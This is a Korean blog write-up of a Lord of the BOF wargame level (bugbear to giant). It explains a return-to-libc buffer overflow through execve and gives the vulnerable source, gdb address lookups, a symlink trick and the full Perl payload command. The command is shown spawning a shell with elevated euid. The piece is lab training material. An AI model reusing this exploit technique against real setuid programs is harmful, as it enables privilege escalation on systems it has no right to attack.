본문 바로가기

wargame/LOB Redhat

bugbear to giant

소스를 보면,

 

[bugbear@localhost bugbear]$ cat giant.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - giant

        - RTL2

*/

 

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

 

main(int argc, char *argv[])

{

        char buffer[40];

        FILE *fp;

        char *lib_addr, *execve_offset, *execve_addr;

        char *ret;

 

        if(argc < 2){

                printf("argv error\n");

                exit(0);

        }

 

        // gain address of execve

        fp = popen("/usr/bin/ldd /home/giant/assassin | /bin/grep libc | /bin/awk '{print $4}'", "r");

        fgets(buffer, 255, fp);

        sscanf(buffer, "(%x)", &lib_addr);

        fclose(fp);


/home/giant/assassin 파일을 ldd 공유라이브러리를 확인하고 그중에 libc(표준라이브러리) grep으로 출력하고 그중 4번째 (libc 라이브러리의 주소) popen함수를 통해 fp 넘긴다.


 

        fp = popen("/usr/bin/nm /lib/libc.so.6 | /bin/grep __execve | /bin/awk '{print $1}'", "r");

        fgets(buffer, 255, fp);

        sscanf(buffer, "%x", &execve_offset);

        fclose(fp);

 

libc.so.6 오브젝트 파일에서 nm 통해 심볼들을 출력하는데 grep 통해 execve함수만 출력하도록 하고 이중 execve 오프셋을 출력한다.


        execve_addr = lib_addr + (int)execve_offset;

        // end

 

        memcpy(&ret, &(argv[1][44]), 4);

        if(ret != execve_addr)

        {

                printf("You must use execve!\n");

                exit(0);

        }

 

        strcpy(buffer, argv[1]);

        printf("%s\n", buffer);

}

 

소스코드를 보면 ret execve함수가 되어야 공격을 있음을 있다.

그럼 RTL 공격을 하는데 system함수 대신 execve함수를 사용해야 한다.

 

일단 execve 함수의 주소부터 구해보자.

[bugbear@localhost bugbear]$ gdb giant_1

(gdb) b main

Breakpoint 1 at 0x8048566

(gdb) r aaa

Starting program: /home/bugbear/giant_1 aaa

 

Breakpoint 1, 0x8048566 in main ()

(gdb) print execve

$1 = {<text variable, no debug info>} 0x400a9d48 <__execve>

 

execve 주소는 0x400a9d48이다.

 

 execve(const char *path, char *const argv[], char envp[]);

 .path         : 실행할 파일 경로명

 .argv[]      : 실행파일과 같이 수행할 인자

 

evecve함수의 인자는 다음과 같고, 그렇다면 1번인자는 "/bin/sh" 주소를 주면 되고,

두번째 인자는 char *argv[]={"/bin/sh",0} 줘야한다. 세번째 인자는 NULL 주면된다.

 

첫번째 인자는 RTL 할때 구한 0x400fbff9 사용하면 되지만,

argv 주소가 문제인데, 이를 심볼릭 링크를 통해 해결해보자,

[bugbear@localhost bugbear]$ cat giant_1.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - giant

        - RTL2

*/

 

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

 

main(int argc, char *argv[])

{

        char buffer[40];

        FILE *fp;

        char *lib_addr, *execve_offset, *execve_addr;

        char *ret;

 

        if(argc < 2){

                printf("argv error\n");

                exit(0);

        }

 

        // gain address of execve

        fp = popen("/usr/bin/ldd /home/bugbear/giant | /bin/grep libc | /bin/awk '{print $4}'", "r");

        fgets(buffer, 255, fp);

        sscanf(buffer, "(%x)", &lib_addr);

        fclose(fp);

 

        fp = popen("/usr/bin/nm /lib/libc.so.6 | /bin/grep __execve | /bin/awk '{print $1}'", "r");

        fgets(buffer, 255, fp);

        sscanf(buffer, "%x", &execve_offset);

        fclose(fp);

 

        execve_addr = lib_addr + (int)execve_offset;

        // end

 

        memcpy(&ret, &(argv[1][44]), 4);

        if(ret != execve_addr)

        {

                printf("You must use execve!\n");

                exit(0);

        }

 

        strcpy(buffer, argv[1]);

        printf("%s\n", buffer);

}

[bugbear@localhost bugbear]$ ln -s giant_1 `perl -e 'print "\xf9\xbf\x0f\x40"'`

[bugbear@localhost bugbear]$ gdb -q `perl -e 'print "\xf9\xbf\x0f\x40"'`

(gdb) b main

Breakpoint 1 at 0x8048566

(gdb) r aaaa

Starting program: /home/bugbear/@ aaaa

 

Breakpoint 1, 0x8048566 in main ()

(gdb) x/10s 0xbfffffc0

0xbfffffc0:      "NG=en_US"

0xbfffffc9:      "OSTYPE=Linux"

0xbfffffd6:      "SHLVL=1"

0xbfffffde:      "LS_COLORS="

0xbfffffe9:      "/home/bugbear/\017@"

0xbffffffc:      ""

0xbffffffd:      ""

0xbffffffe:      ""

0xbfffffff:      ""

0xc0000000:      <Address 0xc0000000 out of bounds>

(gdb) print/x 0xbfffffe9 + strlen("/home/bugbear/")

$1 = 0xbffffff7

(gdb) x/x 0xbffffffc

0xbffffffc:     0x00000000

 

이처럼 심볼릭 링크에 /bin/sh 주소를 주고, 스택의 끝에 찌꺼기를 활용하면 2중포인터를 만들수 있다.

이때 우리가 사용해야 argv 주소값은 0xbffffff7이다

3번째 인자인 Null 주소값을 줘야하기 때문에 위의 gdb에서 확인한 0x00000000 들어가 있는 0xbffffffc 사용할 것이다.

이제 payload 작성 보자.

 

["x"*44][&execve][&exit][&"/bin/sh"][&argv[]][&"0x00000000"]

*exit 주소값 : 0x400391e0

 

공격을 보자.

[bugbear@localhost bugbear]$ rm `perl -e 'print "\xf9\xbf\x0f\x40"'`

[bugbear@localhost bugbear]$ ln -s giant `perl -e 'print "\xf9\xbf\x0f\x40"'`

[bugbear@localhost bugbear]$ ./`perl -e 'print "\xf9\xbf\x0f\x40"'` `perl -e 'print "x"x44,"\x48\x9d\x0a\x40","\xe

0\x91\x03\x40","\xf9\xbf\x0f\x40","\xf7\xff\xff\xbf","\xfc\xff\xff\xbf"'`

You must use execve!

//처음에 무슨 이유인지 execve 사용하란 문장이 나왔다. 분명 ret execve주소를 넣었는데 이런 오류가 나와서 당황했지만, 이유를 찾아보니 execve 주소중 0a null 인식되기 때문에 스크립트 양옆에 따음표 붙여서 해결했다.

 

[bugbear@localhost bugbear]$ ./`perl -e 'print "\xf9\xbf\x0f\x40"'` "`perl -e 'print "x"x44,"\x48\x9d\x0a\x40","\xe

0\x91\x03\x40","\xf9\xbf\x0f\x40","\xf7\xff\xff\xbf","\xfc\xff\xff\xbf"'`"

bash: ./: is a directory

//그런데도 이런 오류문이 뜨길래 확인 해봤더니 이번에는 bash2쉘을 키지 않고 공격하엿다.

[bugbear@localhost bugbear]$ bash2

[bugbear@localhost bugbear]$ ./`perl -e 'print "\xf9\xbf\x0f\x40"'` "`perl -e 'print "x"x44,"\x48\x9d\x0a\x40","\xe

0\x91\x03\x40","\xf9\xbf\x0f\x40","\xf7\xff\xff\xbf","\xfc\xff\xff\xbf"'`"

xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxH

??@@?웠

풺ash$ id

uid=513(bugbear) gid=513(bugbear) euid=514(giant) egid=514(giant) groups=513(bugbear)

bash$ my-pass

euid = 514

one step closer

bash$ exit

exit    // fake ret exit 넣었더니 segment fault 뜨는 것을 확인 있다.

[bugbear@localhost bugbear]$

'wargame > LOB Redhat' 카테고리의 다른 글

assassin to zombie_assassin  (0) 2014.05.27
giant to assasin  (0) 2014.05.27
darkknight to bugbear  (0) 2014.05.27
golem to darkknight  (0) 2014.05.27
skeleton to golem  (0) 2014.05.27